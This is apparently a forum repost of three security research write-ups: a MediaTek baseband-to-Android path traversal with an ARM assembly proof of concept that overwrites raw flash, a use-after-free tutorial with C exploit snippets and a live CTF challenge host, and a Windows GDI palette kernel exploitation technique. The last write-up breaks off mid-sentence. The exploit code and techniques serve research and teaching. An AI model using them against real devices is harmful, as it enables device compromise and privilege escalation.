From a quick glance it becomes obvious that the MTK implementation follows the Android reference RIL closely. This is good news, because it means that most of the public documentation about RIL applies to our target. The figure below illustrates how unsolicited commands are processed usually and what functions are called. Figure 3: Command Flow in RIL On the device, the vendor RIL is implemented in the mtk-ril.so library and just like the reference implementation it receives unsolicited commands in the readerLoop function. The reader loop originally reads from the /dev/ttyC0 device or, in case CMUX multiplexing is used, from one of the pseudo- terminals provided by the gsm0710muxd application. These communication channels can be monitored and modified by setting up a Man-in-the-Middle pseudo terminal for /dev/ttyC0 following the steps outlined in Fabien Sanglard’s article. The reader loop simply expects a channel description as an argument, which determines from where commands are read and where they are dispatched. For fuzzing, we can set up this channel descriptor to read from STDIN rather than PTY devices and then dispatch the commands to the usual handler for parsing. Setting up the channel is straightforward. Following is an excerpt from the relevant code (the complete AFL wrapper is available here): memset(&channel, 0, sizeof(channel)); channel.fd = STDIN_FILENO; channel.ATBufferCur = channel.ATBuffer; channel.myName = "RIL_CMD_READER_1"; channel.id = 1; channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited channel.readerClosed = 0; channel.responsePrefix = NULL; channel.smsPDU = NULL; channel.p_response = NULL; channel.tid_reader = syscall(SYS_gettid); // call reader loop printf("[INFO] Starting the event handler\n"); readerLoop = (libBase + 0x2f020); (*readerLoop)((void*)&channel); One issue remains before AFL can drive our target: the readerLoop reads commands in an infinite loop which is inconvenient for fuzzing with AFL. As a workaround, we patch a single instruction at the end of the loop so that the reader would return after processing the command. In hindsight, it probably would have been easier to skip the reader loop and directly call the unsolicited handler, feeding it the AFL input and the fake channel description. Due to the limited time available for this research I could not run the fuzzer extensively. Still, I had a few promising crashes, following up on these is left to be done in the future. Manually Analyzing the ccci_fsd Binary As introduced previously, the ccci_fsd program is used to provide access to persistent storage to the modem. The CCCI driver is used to transmit the requests and subsequently reading or writing data, but it is the ccci_fsd user space program that ultimately executes the file operations on the AP system. The concept is further detailed by the Mediatek documentation. Figure 4: NVRAM File Transfer with CCCI The reverse engineering process of the binary is assisted by the significant amount of Android log messages. A quick glance at the strings tells us that a conventional file system API is implemented with the usual read, write, open, close, seek and delete operations. We can set up an LD_PRELOAD hook to monitor the communication (or simply run strace on the application) and observe the custom protocol that is used to transmit the file system API requests and responses through the ccci_fs character device: 00000000 00 00 00 00 5c 00 00 00 0e 00 b8 04 00 00 00 00 |....\...........| 00000010 01 10 00 00 02 00 00 00 36 00 00 00 5a 00 3a 00 |........6...Z.:.| 00000020 5c 00 4e 00 56 00 52 00 41 00 4d 00 5c 00 4e 00 |\.N.V.R.A.M.\.N.| 00000030 56 00 44 00 5f 00 44 00 41 00 54 00 41 00 5c 00 |V.D._.D.A.T.A.\.| 00000040 4d 00 54 00 34 00 41 00 5f 00 30 00 30 00 31 00 |M.T.4.A._.0.0.1.| 00000050 00 00 00 00 04 00 00 00 00 04 01 20 00 00 00 00 |........... ....| As shown in the above excerpt of a communication trace, the API uses a DOS-style path format with drive letters, backslash separators, and uppercase wide character file and directory names. A quick search for this file on the Android system reveals that it is located under /data/nvram/md/NVRAM/NVD_DATA/MT4A_001 with a set of other similar binary config files. Next, we need to figure out how the DOS style path is converted into Unix path and how it is sanitized. Locating the open function in IDA is trivial due to the high number of log strings and the straightforward code: Figure 5: FS_Open in IDA Pro The w16toc_change_path_delim function copies the received path string to a stack buffer while converting it from wide character to 8 bit char representation and replacing backslashes with forward slashes. After that, the first two characters are checked for containing any of the allowed drive letters (Z:, X:, Y: and W:). If matching, a length check is performed on the remainder of the path and the associated prefix path. The W: drive is handled slightly differently as it is used to retrieve the DSP firmware image. Other drive letter map to certain paths. E.g. Z: maps to /data/nvram/md. The final path string is generated by concatenating the received path and the prefix and passing the result to the open system call. Leveraging the MTK Path Traversal Vulnerability This means that there is no input sanitization at all, so the modem can get a handle and potentially overwrite any file on the AP system that the ccci_fsd application has permission to access. As an example the path Z:..\..\..\system\bin\ls is turned into /data/nvram/md/../../../system/bin/ls. However, the system partition is read-only. The ccci_fsd daemon is run as the radio user, which is part of the system group and it also has some further restrictions enforced by SELinux. Dumping the compiled /sepolicy file (by running sesearch on it) reveals that the binary is restricted to access nvram data files, the ccci drivers and config files, but also the platform block devices under /dev/block. Filtering the list of these devices for those that can be written by the system group yields us the following result: brw-rw---- root system 179, 0 2016-08-31 11:00 mmcblk0 brw-rw---- root system 179, 32 2016-08-31 11:00 mmcblk0boot0 brw-rw---- root system 179, 64 2016-08-31 11:00 mmcblk0boot1 brw-rw---- root system 179, 1 2016-08-31 11:00 mmcblk0p1 -> proinfo brw-rw---- root system 179, 13 2016-08-31 11:00 mmcblk0p13 -> secro brw-rw---- root system 179, 14 2016-08-31 11:01 mmcblk0p14 -> para brw-rw---- root system 179, 2 2016-08-31 11:00 mmcblk0p2 -> nvram brw-rw---- media system 259, 0 2016-08-31 11:00 mmcblk0p32 -> control brw-rw---- root system 259, 8 2016-08-31 11:00 mmcblk0p40 -> boot brw-rw---- root system 259, 9 2016-08-31 11:00 mmcblk0p41 -> recovery brw-rw---- root system 179, 8 2016-08-31 11:00 mmcblk0p8 -> seccfg Great! The first item of the list is the raw device for the internal flash that contains the system image including the system partition. This means that the modem is able to open the mmcblk0 raw devices, and as a result, search the device for the binary data of an executable (preferably one that is run as root) and overwrite it with arbitrary code, thus compromising the Android system. To test this theory in practice we need to examine the modem RTOS, discover how the NVRAM API is used from within the modem, and finally modify the firmware to create a proof of concept exploit. Analyzing the Modem Firmware There are multiple ways to obtain the modem firmware image. As introduced earlier, the ROM image is present in the AP memory and can be dumped. The firmware image file is also present on the AP file system as it is loaded by the CCCI kernel driver. I decided to first take a look at the code that loads the driver. From an architectural perspective the firmware loading works as follows: First, the image is retrieved and opened Next, its signature is checked Finally, the image is decrypted and copied to the reserved ROM memory This sounds good, however, if we take a closer look we can spot multiple issues with it. For some reason only the first 0x18000 bytes of the image is encrypted, while the rest is stored in cleartext. This alone would not be a problem, but the real issue here is that the hash, that is used to verify the image and signed by Mediatek: it is only calculated over the headers! This leaves the actual firmware data without any sort of integrity protection. As a result, modified or corrupted images are loaded by the CCCI driver without a problem. As a reference for the interested reader, the actual image format is composed of an image header, a cipher header, the actual data, verification hash, the signature, and the extension headers. Figure 6: Firmware Image Headers To obtain the raw image from the one stored on the device (as /system/etc/firmware/modem_1_lwg_n.img) we can write a program that removes the headers and trailers and decrypts the image. The firmware is encrypted with AES-128 and the keys are statically compiled and encoded within the kernel. They can either be dumped from kernel memory or a kernel module can be used for hijacking the sec_aes_init (source) and lib_aes_dec (source) routines and subsequently decrypting the image. Now that we have obtained the raw image we can load it in IDA for manual analysis. A few Mediatek debug utilities provide tremendous help during the reverse engineering of the firmware image. First of all, there are modem trace log files available under /mnt/shell/emulated/0/mtklog. These are helpful in tracking the firmware execution flow. By default only critical events are reported, but the log level can be controlled with the /system/etc/mtklog-config.prop config file to include non-critical events as well. Another useful utility is the /sys/devices/virtual/misc/md32/md32_ocd virtual device, which provides remote debugging capabilities for the modem. Lastly, there is also an executable (also called md32_ocd), which implements basic functionality such as setting and reading modem registers, reading and writing memory, and powering on and off the device. Unfortunately, it seems to be disabled by default on production devices and the requested operations fail silently. I could not find a way to re-enable it and I am unsure if it is possible at all. It might be permanently disabled by a blown fuse, but more likely it can be enabled by some configuration setting or kernel API since the associated driver is compiled into the kernel. Out of the many debug facilities, the one that turned out to be the most valuable is a symbol file kept under /mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*. This file contains all the function names and respective addresses that appear in the firmware image. Furthermore the parity bit of the function address tells whether the given function is compiled in ARM or Thumb-2 mode. I wrote an IDA python script that parses this file and defines all functions and provides us with a fully populated IDB (see Figures 7a and 7b for the results). The T segment register can be set to switch between ARM and thumb mode then code and functions can be defined. Figure 7a: IDA Navigator Before the Symbol File is Processed Figure 7b: IDA Navigator After the Symbol File is Processed If this was not enough, partial source code of the MT6795 modem is publicly available for unknown reasons. With all these resources at hand, we can reduce the reverse engineering effort and still form a relatively complete picture of the modem system. The MD firmware is a Nucleus RTOS image and uses a customized version of the CCCI driver for the inter-chip communication. Just like on the AP side the driver can be split into two main components: the lower layer CCCI-CCIF is responsible for providing an interface to the shared memory channels, while the other part of the driver provides access to the CCCI services to the Nucleus tasklets. The most interesting part of the firmware is its NVRAM implementation details on how the modem retrieves files from the AP system. This will be useful for further developing a PoC. The modem’s NVRAM API relies on the services of a Nucleus driver called ccci_fs, which is used to access the remote file system. The actual remote file system API is implemented in the ccci_fs_apis.c source file and it contains similar functions to what we have observed in the ccci_fsd application. Taking a closer look at the defined functions reveals a conventional file system API as can be seen below: kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag); kal_int32 MD_FS_Close(FS_HANDLE FileHandle); kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read); kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written); kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence); Just like in the ccci_fsd binary the MD_FS_Open call expects a wide char string as a filename. It is filled into a parameter structure and passed to the AP side through the shared memory interface. The format of these parameters correlates with what was seen in the intercepted data from the LD_PRELOAD-ed ccci_fsd application. The rest of the API is designed similarly and each of these functions fill the same structure, containing a command code for the requested operation and the parameter. A command code identifies the requested operation and the parameter contains associated data such as the filename or the read or written bytes. Potential Backdoor Functionality Before moving on to writing the actual proof of concept, there is just one thing that must be mentioned here. While looking through the Helio X10 modem sources, I stumbled upon a very suspicious looking source file called rmmi_ats.c. It implements custom AT commands that triggers “telemetry” collection routines such as capturing keyboard and touch events, the current picture of the screen, or the output of the phones camera. It is even capable of emulating key presses and provides many other similar functionality, all with questionable intent. These functions can be executed remotely from the ISP side by sending the associated AT commands to the phone. Even though it is not compiled into the firmware image of the researched device, it still highlights potential capabilities of a compromised baseband. This further stresses the importance of strict security gaps between the hardware components of such platforms (be it mobile, embedded or any other device) and raises questions about how much one can trust third party closed source applications. Before jumping to a quick conclusion, I would like to emphasize that these source files are coming from the Internet from unknown sources, they are definitely not official and cannot be considered genuine. Still, it is an interesting research question whether other Mediatek devices with similar chipsets contain this code (especially from the Chinese market) in production. Proof of Concept Exploit Recall that the original assumption of the research was that baseband chips can get compromised in the first place, as previously demonstrated by other researchers (including Comsecuris). To simulate such a compromise we can directly modify and patch the firmware image to run our proof of concept code. This is possible due to the aforementioned lack of proper secure boot. At least, the CCCI driver fails to validate the integrity of the loaded image so this ability is given in practice. All we need is a good victim function that can be overwritten by our code to extend the firmware’s functionality. An ideal candidate can be triggered from the AP and would not disrupt the regular operation of the modem (too much). Such functions are the AT command handlers itself. A victim that satisfies such conditions is the rmmi_vts_hdlr handler, which is executed upon receipt of an AT+VTS command. The benefit of modifying this function is that it is located in cleartext portion of the firmware image. Therefore, there is no need to bother with decrypting and encrypting the image file while developing the PoC. Another useful routine is rmmi_write_to_uart, which can be used to send messages to the AP through the same serial line that is used to transmit AT commands. This provides us some much-needed debug capabilities by allowing to send arbitrary data from the modem. To receive such data on the AP side, the gsm0710muxd process can be killed and a serial console can be attached to the /dev/ttyC0 device, which gives us complete control over the communication. The execution of the overwritten VTS handler can be triggered on the modem by sending the AT+VTS command on this serial line. Now that all the primitives are explored, it is time to piece the actual proof of concept together. In order to gain code execution on the AP we need to open the /dev/mmcblk0 device on the modem and then seek to roughly where the system partition begins. Next, we search for and overwrite the target binary on the raw partition. It is possible to seek exactly to the offset of the victim executable, but in practice this address can vary between devices so it is not a realistic assumption that it is known a priori. Even without knowing the exact address, the device can be read block-by-block while searching block data for specific binary sequences that ultimately identify our target binary. This process is made easier by the fact that the files always begin on a block boundary so that the offset of the sequence within a block does not change. Once the victim binary file is found it can be overwritten with arbitrary data. The next time it is loaded into memory, our malicious code will be run. I have decided to write the PoC in assembly as the code is fairly small and requires low level interaction with existing functions in the firmware image. The complete source code and the scripts used to patch the image are available here, but the major steps are covered in this blog post. First, the malicious path string is copied to the stack as wide char string using kal_wsprintf. .set FORMAT_STR, 0x7053b5 .set MMCBLK_PATH, 0x7053b8 .set KAL_WSPRINTF, 0x3ba19f @ move the path to stack as wchar mov r0, sp ldr r1, =FORMAT_STR @%s format string ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0 ldr r6, =KAL_WSPRINTF blx r6 Then the block device is opened with read/write permissions. .set RWO_FLAGS, 0x21010400 .set FS_OPEN, 0x103861 @ open the /dev/mmcblk raw device @ with R/W permissions mov r0, sp @the path string ldr r1, =RWO_FLAGS ldr r6, =FS_OPEN blx r6 @ store the returned handler str r0, [sp] We seek approximately to the beginning of the system partition on the device. .set FS_SEEK, 0x103C39 @ first seek into the middle of mmcblk device @ that is roughly where system starts seek: mov r0, fhl mov r1, #1 lsl r1, #30 mov r2, #1 @0 begin 1 cur ldr r6, =FS_SEEK blx r6 After that, we start reading the device block-by-block and check whether it contains the pattern that identifies the victim. The PoC looks for an 8 character long constant string that I set up for testing. This can be changed to any binary sequence that is unique to the target application (or block). .set FS_READ, 0x103A65 @ keep reading from device until @ the target is found mov r5, #0 read: mov r0, fhl @ file handler mov r1, sp @ read to the stack mov r2, #1 @ 512 bytes = 1 block lsl r2, #9 mov r3, r2 add r3, sp, r3 @ the number of bytes read ldr r6, =FS_READ blx r6 @ check if the read value contains the pattern @ this is oversimplified ldr r2, =CANARY1 ldr r1, [SP] cmp r2, r1 bne isover ldr r2, =CANARY2 ldr r1, [SP, #4] cmp r2, r1 @ if the victim is found we can overwrite it beq write Finally, the beginning of the target file is overwritten with a string. In a real exploit this is where the shell code would be written to the victim binary. .set EVIL, 0x4c495645 .set FS_WRITE, 0x103B55 @ load the payload string "EVIL" ldr r0, =EVIL str r0, [sp] @ and write it mov r0, fhl @ file handler mov r1, sp @ the payload mov r2, #1 lsl r2, #9 @ 512 mov r3, sp add r3, r3, r2 ldr r6, =FS_WRITE blx r6 This solution has a few a caveats. First, it takes considerable amount of time to search the flash memory block-by-block. The PoC takes roughly two hours to finish which is mostly due to the slow inter-chip I/O operations required to read a block. This overhead can be significantly reduced by reading multiple blocks in one request and then searching them in memory. Keeping multiple blocks in memory should not be a problem as the modem has plenty of slack space in RAM (in the range of multiple MB) and alternatively parts of the shared memory could be utilized too. The other concern is that most of the Nucleus tasks run in non-preemptible mode, including the AT command handlers. Therefore, other tasks are starved while the exploit is being executed. This makes the modem non-responsive and locks up its services, which then results in the cellular network not being available on the AP side. This results in no signal and is all but stealthy. This can be circumvented by starting a new task for the exploit, by using the Nucleus API with preemptible priority levels. By overwriting the modem firmware image on the block device this attack can also be leveraged to gain persistence and to turn the baseband into a rootkit. Looking for Entry-level Vulnerabilities I spent the last few weeks of my internship trying to complete the exploit chain by looking for a vulnerability in the baseband firmware. Unfortunately I ran out of time and could not finish the chain. Yet I think the approach I took is worth discussing. The MT6795 sources contain a set of pre-compiled object files in the form static libraries some of which implement the different layers of the cellular stack. The original idea was to try to link one of them with a stub that feeds input to it so it can be fuzzed by AFL. The implementation of the mobility management (MM) layer is a good candidate for fuzzing as it contains many complex parsing functions that are potentially prone to memory corruption errors and the protocol is filled with type-length fields. Spending a little time reverse engineering the firmware image clarifies that the MM layer is set up by calling the mm_init function and then the mm_main function is executed whenever new data arrives to the layer. The mm_main function receives its data in the form of Interlayer Messages (see definition below) that contains a few crucial fields. The msg_type is used to identify which operation the layer should carry out, the content of the local_para_struct (definition) depends on the selected operation while the peer_buff_struct (definition) contains the actual PDU. /* The Interlayer Message structure, which is exchaged between modules. */ typedef struct ilm_struct { module_type src_mod_id; /* Source module ID of the message. */ module_type dest_mod_id; /* Destination module ID of the message. */ sap_type sap_id; /* Service Access Pointer Identifier. */ msg_type msg_id; /* Message identifier */ local_para_struct *local_para_ptr; /* local_para pointer */ peer_buff_struct *peer_buff_ptr; /* peer_buff pointer */ } ilm_struct; Knowing all this we can write a wrapper that calls mm_init, then sets up an ilm_struct from the fuzzer input, and calls mm_main with it. Of course it is not that simple as the MM layer relies on a various Nucleus OS services and other layers. Trying to link our wrapper to libmm.a yields various undefined reference errors. As a first try we can replace all of these undefined references with a simple function stub that prints when it is called and returns. This allows the wrapper to be successfully linked with the library, but obviously it will not function correctly. Now we can begin an iterative process of running the wrapper and stopping when one of our stubs is hit. After that, the original version of the stubbed out function must be reverse engineered to an extent that we can decide which of the following options to take: If the function is not crucial for the operation of the MM layer (e.g. passing the ILM to upper layers) it can be left as a stub (see the sources If the functionality is important, but the actual implementation is not, e.g. because it is not in scope for the fuzzing, the function can be redefined (this is what happens for example with the event scheduler, see sources) If none of the above applies, the pre-compiled library that implements the function can be linked in The third option must be treated extra carefully because each time a new library is linked it pulls in additional dependencies, which can easily lead to an avalanche effect. Using these steps I have managed to get the wrapper to a stable state that can be fuzzed by AFL. The complete code is available here. All of the tools and source snippets introduced in this post are available on Comsecuris’ github: https://github.com/Comsecuris/mtk-baseband-sanctuary. Conclusion The original goal of the research was to achieve a compromise of the application processor operating system of a mobile phone from a compromised modem. To protect from these type of attacks strong isolation between hardware components should be considered when designing platforms. It also must be emphasized that the main operating system and applications running on it, must not blindly trust data coming from the different peripherals. Instead, this kind of data should be treated as attacker controlled. Defending against compromised units is already a complicated task and defending against inherently malicious rogue elements is even harder. Many of these hardware units are accessible through the radio networks (baseband and Wi-Fi chips and now even GPUs through WebGL). They are prime targets for remote exploitation of mobile devices and there are many aspects left to be explored. Further offensive and defensive research is required in this space. Besides making the jump between the chips harder, the security of the modem (and other peripherals) should be improved as well. Not all vendors are equal here, but some generally lack basic exploit mitigations. This significantly reduces the complexity of exploitation and makes up for the additional (reverse) engineering effort required to analyze the firmware. Due to the relentless work of the security community and the constant improvements of its hardening solutions, the cost of exploitation of mobile operating systems has drastically increased over the last few years. This not only makes attacks through deferred routes (such as through the modem) more appealing but might make them economically viable. Sursa: https://comsecuris.com/blog/posts/path_of_least_resistance/
    1 point
  12. Linux Heap Exploitation Intro Series: Used and Abused – Use After Free Reading time ~9 min Posted by javier on 28 July 2017 Categories: Heap, Heap linux, Pwnage friday, Exploit, Exploitaion, Painless, Ptmalloc2 Intro After analysing the implementation of ptmalloc2 which, is a must read if you don’t know anything about the linux userland heap, I decided that for the second part of it, I would approach it as in a series of blog posts. Why? You might ask. Well it is easy for someone to tackle a problem in bite sized “chunks”. Understanding the heaps can be difficult and each of the techniques to be described in this series takes a decent amount of time to learn, understand and practice. Also, it is easier to find 15 minutes in a day rather than a few hours in a day. Also – hack the system. Please note that it is not needed, but having a rough knowledge of programming and how pointers work in C code is a great shortcut to understand the examples given in this series. The Vulnerability Preface To start this series we are going to cover one specific type of use-after-invalidation vulnerability because of its fame and presence. Going through www.cvedetails.com and searching for two of the most used browsers (Chrome and Firefox) yields many CVE’s involving this specific vulnerability: The use-after-free. Chrome use-after-free vulnerabilities Firefox use-after-free vulnerabilities It is one of the most common vulnerabilities, if not the most, which is involved in heap exploitation, and it is the most likely to end up in arbitrary code execution from an attacker’s perspective.g An example of the fame and wide presence of such vulnerabilities is the very recent CVE-2017-8540 found by Ian Beer @ Google’s Project Zero. What The use-after-free vulnerability is a use-after-invalidation vulnerability[1] where free is the invalid state of use. In human-readable language this means that at some point of the implementation there was a logic flaw that caused a free() on a chunk, but despite being free()’d, its memory position is still referenced, effectively making use of the free’d chunk’s data after it has been set free. The implications of this type of vulnerability, and this is a cliché phrase when talking about heap exploitation, are endless; Pointer dereference leading to arbitrary write-what-where, leaking memory to defeat memory address randomisation (ASLR), dangling pointers, etc. And in some critical cases, pointer dereferences to functions. Let’s see some examples! When stars align To exploit a use-after-free vulnerability the most basic scenario I can think of is the following: 1 – Allocate MALLOC1: First an allocation is done in which we provide our own structure (pointer_malloc1) that has a function pointer allocated in the heap. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 1 |<--+ | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 2 – Free MALLOC1: free() the memory occupied by our first MALLOC1. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | FREE 1 |<--+ | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 3 – Allocate a malicious chunk MALLOC2 of the same size as MALLOC1: As we know from the previous post, chunks will be allocated by size and so, for our malicious chunk to take the place of old MALLOC1 it has to be of the same size. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 2 |<--+--- pointer_malloc2->evil_function() | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 4 – Reference old MALLOC1 (by mistake): Now that we allocated our own payload inside the MALLOC2 we expect the program’s implementation to call pointer_malloc1->good_function() which is actually pointing to our malicious MALLOC2 and so, it will actually call our pointer_malloc2->evil_function() because of the “short circuit” happening at (1). +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 2 |<-(1)-- pointer_malloc2->evil_function() | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- The avid and experienced reader could point out something that my colleague, Saif, pointed out: This is a pointer dereference called dangling-pointer. When the dangling-pointer is then used it becomes a use-after-free. The playground Now on to the fun! Three snippets of code are provided here: Two of them exploiting the lack of security checks on ptmalloc2’s implementation (those security checks are left for the programmer to implement in order to keep ptmalloc2 performance at an acceptable level) and a third one left as a simple exercise for the reader to exploit a use-after-free vulnerable application. Download Playground Code Proof of Concepts Basic UAF 1 Despite the fact that the following code might not be too appealing or realistic, this could happen in a scripting environment where we could cause an use-after-free within a library translating the following code to our target scripting environment (For example, JavaScript). But let’s not dwell into complex stuff yet as simplicity is key to understand the following. In the beginning of the code I have defined a struct which is a composite data type. This means it can contain different types of data within itself, even other structs. In our case we have a simple struct containing a pointer to a function that returns nothing (i.e. returns void). This struct is the one that we will be (ab)using freely, specifically the “vulnfunc” pointer. typedef struct UAFME { void (*vulnfunc)(); } UAFME; Afterwards, we have global definitions for two functions that simply print two strings to the terminal. Our goal is to call bad() without explicitly initialising any pointers to it. void good(){ printf("I AM GOOD :)\n"); } void bad(){ printf("I AM BAD >:|\n"); } The next is an excerpt of main and it involves the allocation in memory of a chunk containing a pointer (1) to a struct of the aforementioned type: UAFME. The vulnfunc of said UAFME struct is set to the good function (2) so that when we call malloc1->vulnfunc(), the good function will be called (3). UAFME *malloc1 = malloc(sizeof(UAFME)); // (1) malloc1->vulnfunc = good; // (2) malloc1->vulnfunc(); // (3) Finally, we arrive to the exploitation part. Due to ptmalloc2 not checking the validity of the memory state of each variable, we can call malloc1->vulnfunc() again (1) even if its pointer has been free()’d (2) and so, it will actually use our malicious allocation (3) that we specifically craft by setting its contents to the pointer of bad() function (4). free(malloc1); // (2) long *malloc2 = malloc(0); // (3) Zero allocation to confuse on purpose *malloc2 = (long)bad; // (4) malloc1->vulnfunc(); // BOOM! (1) Let’s see it in action! As you can see, it does print “I AM BAD >:|” at the end of the execution! This happens because we are using malloc1‘s pointer to call vulnfunc which actually is the pointer to the contents of malloc2. Eeeeviiiil. Basic UAF 2 Now on a little bit more of a realistic scenario but keeping the same implementation, we are introducing a helper allocator function. On some software, programmers implement their own “safe” wrappers on top of malloc to prevent some vulnerabilities such as buffer overflows and unsafe free()s. In our proof of concept, our developer tried to be tidy but, after a tiring day of work and a few hundred lines of code he forgot about something: void helper_call_goodfunc(UAFME *uafme){ UAFME *private_uafme = uafme; private_uafme->vulnfunc = good; private_uafme->vulnfunc(); free(private_uafme); } Can you spot it? Spoiler: The solution is in the comments of the file basic_uaf_2.c. Now you I have put a challenge on 46.101.80.6 on ports 10000 to 10004. The goal is to make the program spit out the flag by using an already free()’d variable. Try it out! nc 46.101.80.6 10000 The flag is in the form: SP{contents_of_the_flag} The first to send in the flag and solution, will earn one of this year’s SensePost t-shirts. Submissions to javier [[at]] sensepost [[.]] com Hints – There is one chunk already allocated at the beginning! – Bear in mind that all addresses are 64bit. This means 8 bytes. – Don’t forget (little) endianness – Chunks are pointers to a pointer to an array of char (string) char ** strchunks[MAXCHUNKS]; – Yes, there is a double-free case but it is not exploitable – Yes and no, if you could leak addresses and knew the offset to libc, you could probably get a shell Happy pwning!!! Further reading [1] Ode to the use-after-free by Chris Evans @ Google Project Zero Sursa: https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/
    1 point
  13. Abusing GDI Objects for ring0 Primitives Revolution Reading time ~21 min Posted by saif on 29 July 2017 Categories: Analysis, Defcon, Exploit, How-to, Materials, Reversing, Windows Exploiting MS17-017 EoP Using Color Palettes This post is an accompaniment to the Defcon 25 talk given by Saif. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique. A complete white-paper on the topic was released and can be found here: Whitepaper Both exploits discussed in the talk, were also released and the source code of these can be found here: https://github.com/sensepost/gdi-palettes-exp XEPALOBJ – Palette Objects: Palettes specify the colours that can be used in a device context. These are represented in kernel memory by Pool tag Gh?8, Gla8, and have the type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols. Since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. The kernel structure is undocumented on MSDN but the x86 version can be found in ReactOS1, and both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump2. A relative memory read/write technique using palettes was mentioned in a 360 Vulcan team talk3 in March 2017. However, to my knowledge the full technique outlined here, including arbitrary memory read/write, has not been fully disclosed before. X86 and X64 PALETTE structure The most interesting members of the XEPALOBJ structure are the cEntries which represent the number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the first member of the PALETTEENTRY array apalColors located at the end of the structure as seen below. KAlloc The CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to the look aside list. CreatePalette Function as described on MSDN tagLOGPALETTE structure as described on MSDN tagPALETTEENTRY structure as described on MSDN KFree To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied as argument: DeleteObject(HPALETTE) Read Memory Function The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer lppe. The function is defined as below. GetPaletteEntries Function as described on MSDN Write Memory Function There are two functions that can be used to write Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette. SetPaletteEntries Function as described on MSDN AnimatePalette Function as described on MSDN Relative memory read/write cEntries The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes apalColors array, if this member was to be overwritten with a larger number then whenever read/write operations happen on the Palette it will read/write beyond the kernel memory allocated for it. Arbitrary memory read/write *pFirstColor All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any location in kernel memory. Exploitation Scenario Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose cEntries, or *pFirstColor members are under our control. To control the *pFirstColor of a second Worker Palette and gain arbitrary kernel memory read/write primitive. The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object. Technique Restrictions The are some restrictions to using the Palette technique. Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 0x18 which is less than the minimum allocated Palette size. When using the SetPaletteEntries Function to write Entries to memory, the overflow should not overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent) The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first restriction on hdcHead member, if this member is set the code path taken will end with an error or BSOD highlighted in Yellow below. Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were allocated then this checks shouldn’t result in BSOD. The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this proved challenging on x64 bit systems, but not so much on x86 ones, as shown in XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without writing the new value to the memory location. MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to OOB Pool Write: Now that I’ve outlined Palette objects and how they can be abused, let’s use the new technique in an exploit. Understanding the Bug Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while everyone was analysing the SMB vulnerabilities, I got busy analysing the privilege escalation bug. A diff of the code paths, pre and post patch. On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. It was only obvious that there was an Integer overflow issue because of several integer verification functions such as ULonglongtoUlong, and others down the code. Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the un-patched function in IDA and try to determine what the issue was, and how it can be exploited. Triggering the Overflow The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, with the created palette using the brush selected into the current graphics device context. When creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown was always 0x100 on my system, however when utilising a 